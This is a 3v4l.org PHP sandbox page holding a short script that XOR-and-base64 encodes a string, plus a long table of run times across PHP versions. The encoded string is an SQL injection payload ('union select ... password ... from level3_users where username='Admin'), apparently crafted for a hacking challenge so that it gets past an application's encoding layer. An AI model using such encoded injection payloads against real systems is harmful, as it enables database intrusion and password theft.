3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("MTI5MTY0MTczMTY5MTc0' union select 1,2,3,4,password,6,7 from level3_users where username='Admin")); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0060.01516.38
8.3.50.0120.00317.38
8.3.40.0140.00018.71
8.3.30.0140.00018.71
8.3.20.0080.00018.73
8.3.10.0000.00818.57
8.3.00.0040.00419.38
8.2.180.0110.00416.38
8.2.170.0120.00322.96
8.2.160.0040.01120.97
8.2.150.0090.00024.18
8.2.140.0040.00424.66
8.2.130.0040.00426.16
8.2.120.0040.00419.26
8.2.110.0030.00620.34
8.2.100.0040.00817.91
8.2.90.0080.00018.22
8.2.80.0050.00319.39
8.2.70.0080.00017.50
8.2.60.0040.00417.93
8.2.50.0050.00318.07
8.2.40.0060.00318.28
8.2.30.0100.00018.14
8.2.20.0080.00017.75
8.2.10.0000.00817.89
8.2.00.0030.00617.64
8.1.280.0040.01125.92
8.1.270.0040.00424.66
8.1.260.0040.00426.35
8.1.250.0080.00028.09
8.1.240.0060.00322.11
8.1.230.0040.00720.88
8.1.220.0040.00417.79
8.1.210.0050.00319.03
8.1.200.0060.00317.22
8.1.190.0000.00817.52
8.1.180.0030.00518.10
8.1.170.0040.00418.73
8.1.160.0070.00018.73
8.1.150.0050.00318.60
8.1.140.0040.00417.47
8.1.130.0000.00717.90
8.1.120.0000.00717.41
8.1.110.0040.00417.30
8.1.100.0040.00417.34
8.1.90.0060.00317.47
8.1.80.0030.00517.38
8.1.70.0040.00417.43
8.1.60.0040.00717.52
8.1.50.0070.00417.44
8.1.40.0050.00317.44
8.1.30.0030.00617.62
8.1.20.0040.00417.67
8.1.10.0040.00417.58
8.1.00.0040.00417.53
8.0.300.0040.00420.21
8.0.290.0070.00016.75
8.0.280.0030.00318.41
8.0.270.0040.00417.17
8.0.260.0030.00316.94
8.0.250.0030.00617.04
8.0.240.0040.00416.95
8.0.230.0030.00317.02
8.0.220.0070.00016.90
8.0.210.0000.00716.91
8.0.200.0070.00016.98
8.0.190.0000.00716.97
8.0.180.0050.00516.88
8.0.170.0030.00516.76
8.0.160.0040.00416.82
8.0.150.0050.00516.88
8.0.140.0030.00616.85
8.0.130.0050.00013.33
8.0.120.0040.00416.79
8.0.110.0040.00416.98
8.0.100.0050.00316.92
8.0.90.0040.00416.74
8.0.80.0060.00916.97
8.0.70.0070.00016.76
8.0.60.0080.00016.79
8.0.50.0050.00216.82
8.0.30.0090.00916.90
8.0.20.0230.01317.10
8.0.10.0030.00516.87
8.0.00.0100.01017.00
7.4.330.0000.00512.86
7.4.320.0030.00316.40
7.4.300.0030.00316.44
7.4.290.0110.00016.56
7.4.280.0050.00216.63
7.4.270.0000.00716.62
7.4.260.0000.00613.24
7.4.250.0050.00516.52
7.4.240.0030.00416.56
7.4.230.0040.00416.43
7.4.220.0120.01216.72
7.4.210.0070.00916.66
7.4.200.0040.00416.51
7.4.190.0000.00716.62
7.4.160.0130.00716.51
7.4.150.0100.00716.36
7.4.140.0120.00516.69
7.4.130.0140.00416.47
7.4.120.0100.00716.38
7.4.110.0120.00616.53
7.4.100.0060.01616.43
7.4.90.0080.01116.50
7.4.80.0030.01619.39
7.4.70.0150.00616.52
7.4.60.0190.00316.35
7.4.50.0070.00016.39
7.4.40.0000.01516.53
7.4.30.0070.01016.70
7.4.00.0140.00315.16
7.3.330.0030.00313.35
7.3.320.0030.00313.40
7.3.310.0080.00016.43
7.3.300.0030.00316.44
7.3.290.0100.00616.45
7.3.280.0060.01316.41
7.3.270.0140.00316.64
7.3.260.0140.00416.46
7.3.250.0100.00716.43
7.3.240.0090.00916.40
7.3.230.0130.00316.44
7.3.210.0130.00316.51
7.3.200.0090.01216.43
7.3.190.0120.00416.62
7.3.180.0070.01416.61
7.3.170.0110.00816.45
7.3.160.0100.00616.67
7.3.120.0070.01114.93
7.3.10.0140.00016.77
7.3.00.0030.01016.72
7.2.330.0120.00616.80
7.2.320.0050.01116.72
7.2.310.0100.01316.73
7.2.300.0070.01416.70
7.2.290.0110.00516.74
7.2.130.0110.00316.92
7.2.120.0030.01016.73
7.2.110.0030.01217.01
7.2.100.0030.00516.81
7.2.90.0060.00617.00
7.2.80.0030.01217.00
7.2.70.0000.00816.68
7.2.60.0060.00616.77
7.2.50.0050.00816.58
7.2.40.0110.00316.47
7.2.30.0060.00816.98
7.2.20.0070.00716.73
7.2.10.0000.01616.89
7.2.00.0060.00618.22
7.1.250.0000.01515.90
7.1.100.0070.00418.20
7.1.70.0040.00417.32
7.1.60.0030.01719.40
7.1.50.0060.01917.02
7.1.00.0000.04322.33
7.0.200.0340.00314.71
7.0.140.0100.06722.11
7.0.120.0030.07322.18
7.0.60.0070.03720.02
7.0.50.0000.04717.84
7.0.40.0000.08020.04
7.0.30.0200.06720.33
7.0.20.0230.08320.17
7.0.10.0270.06020.06
7.0.00.0130.04720.29
5.6.280.0030.07321.00
5.6.210.0100.05320.50
5.6.200.0100.06018.29
5.6.190.0100.04020.64
5.6.180.0400.04720.36
5.6.170.0300.04720.55
5.6.160.0030.09020.52
5.6.150.0000.04318.28
5.6.140.0100.08718.18
5.6.130.0070.04318.16
5.6.120.0070.05321.05
5.6.110.0030.04720.97
5.6.100.0070.05020.96
5.6.90.0130.07720.89
5.6.80.0070.08320.39
5.6.70.0270.06720.42
5.5.350.0270.08320.41
5.5.340.0100.06317.96
5.5.330.0030.07320.41
5.5.320.0130.07320.41
5.5.310.0300.06020.51
5.5.300.0100.05318.04
5.5.290.0030.05018.09
5.5.280.0100.08020.99
5.5.270.0000.07020.80
5.5.260.0170.06020.85
5.5.250.0130.05720.65
5.5.240.0070.05720.27
5.4.450.1770.04719.50
5.4.440.1600.05319.31
5.4.430.2170.03319.52
5.4.420.1570.04019.32
5.4.410.1600.03719.50
5.4.400.1700.02718.89
5.4.390.1630.04719.16
5.4.380.1570.03719.09
5.4.370.1670.03018.84
5.4.360.1670.04319.24
5.4.350.1500.04319.25
5.4.340.1830.05018.84
5.4.320.1830.04319.31
5.4.310.1670.04719.22
5.4.300.1570.04019.13
5.4.290.1500.03318.95
5.4.280.0030.04019.11
5.4.270.0100.05319.09
5.4.260.0030.04319.07
5.4.250.1000.05019.21
5.4.240.1600.03718.98
5.4.230.1530.04319.07
5.4.220.1670.04018.84
5.4.210.2000.03719.21
5.4.200.2070.03319.14
5.4.190.0670.04019.09
5.4.180.0030.03719.15
5.4.170.0070.08019.08
5.4.160.0730.04018.98
5.4.150.1530.03719.12
5.4.140.1700.04716.38
5.4.130.1730.04316.55
5.4.120.1630.03716.55
5.4.110.1570.03316.56
5.4.100.1870.03716.30
5.4.90.1530.03316.61
5.4.80.1800.04316.33
5.4.70.1770.03716.23
5.4.60.1730.04716.54
5.4.50.1530.04316.25
5.4.40.0030.04316.54
5.4.30.0030.03716.34
5.4.20.0630.03316.16
5.4.10.1670.04316.34
5.4.00.1300.03716.11
5.3.290.1470.04014.78
5.3.280.1670.05314.82
5.3.270.1470.03714.66
5.3.260.1700.05314.58
5.3.250.1670.04314.60
5.3.240.1370.04314.73
5.3.230.1400.04014.53
5.3.220.1570.02314.58
5.3.210.1430.03314.49
5.3.200.1570.04014.63
5.3.190.1470.04014.57
5.3.180.1830.05014.57
5.3.170.1730.04714.54
5.3.160.1600.04714.48
5.3.150.1600.04314.63
5.3.140.1630.04714.53
5.3.130.1670.03314.80
5.3.120.1530.04314.45
5.3.110.0970.03714.77
5.3.100.0130.03014.00
5.3.90.0030.05314.00
5.3.80.0070.05313.94
5.3.70.1230.04014.00
5.3.60.1570.04313.91
5.3.50.1500.02714.01
5.3.40.1430.03713.88
5.3.30.1800.05313.83
5.3.20.1830.03313.62
5.3.10.1770.05013.68
5.3.00.1670.04713.65
5.2.170.1370.02011.08
5.2.160.1500.04311.06
5.2.150.1500.03311.13
5.2.140.1330.02711.24
5.2.130.1270.02711.09
5.2.120.1230.03011.34
5.2.110.1470.02711.20
5.2.100.1300.02711.16
5.2.90.1270.02310.98
5.2.80.1370.03311.18
5.2.70.1270.02711.00
5.2.60.1130.03011.27
5.2.50.1300.02310.98
5.2.40.1100.02010.97
5.2.30.1000.02711.12
5.2.20.1000.03010.94
5.2.10.0970.03011.04
5.2.00.1130.03710.68
5.1.60.0930.02710.16
5.1.50.1100.03010.01
5.1.40.0970.02010.11
5.1.30.0930.03010.49
5.1.20.0930.03010.31
5.1.10.1000.02310.22
5.1.00.1030.02310.14
5.0.50.0600.0238.52
5.0.40.0500.0238.52
5.0.30.0000.0308.52
5.0.20.0000.0208.52
5.0.10.0000.0208.52
5.0.00.0000.0378.52
4.4.90.0030.0178.52
4.4.80.0000.0208.52
4.4.70.0070.0338.52
4.4.60.0070.0108.52
4.4.50.0470.0178.52
4.4.40.0470.0238.52
4.4.30.0430.0178.52
4.4.20.0470.0138.52
4.4.10.0470.0138.52
4.4.00.0500.0208.52
4.3.110.0530.0208.52
4.3.100.0470.0178.52
4.3.90.0500.0138.52
4.3.80.0600.0378.52
4.3.70.0600.0208.52
4.3.60.0500.0178.52
4.3.50.0400.0178.52
4.3.40.0500.0278.52
4.3.30.0200.0178.52
4.3.20.0300.0278.52
4.3.10.0200.0178.52
4.3.00.0230.0138.52

preferences:
44.68 ms | 401 KiB | 5 Q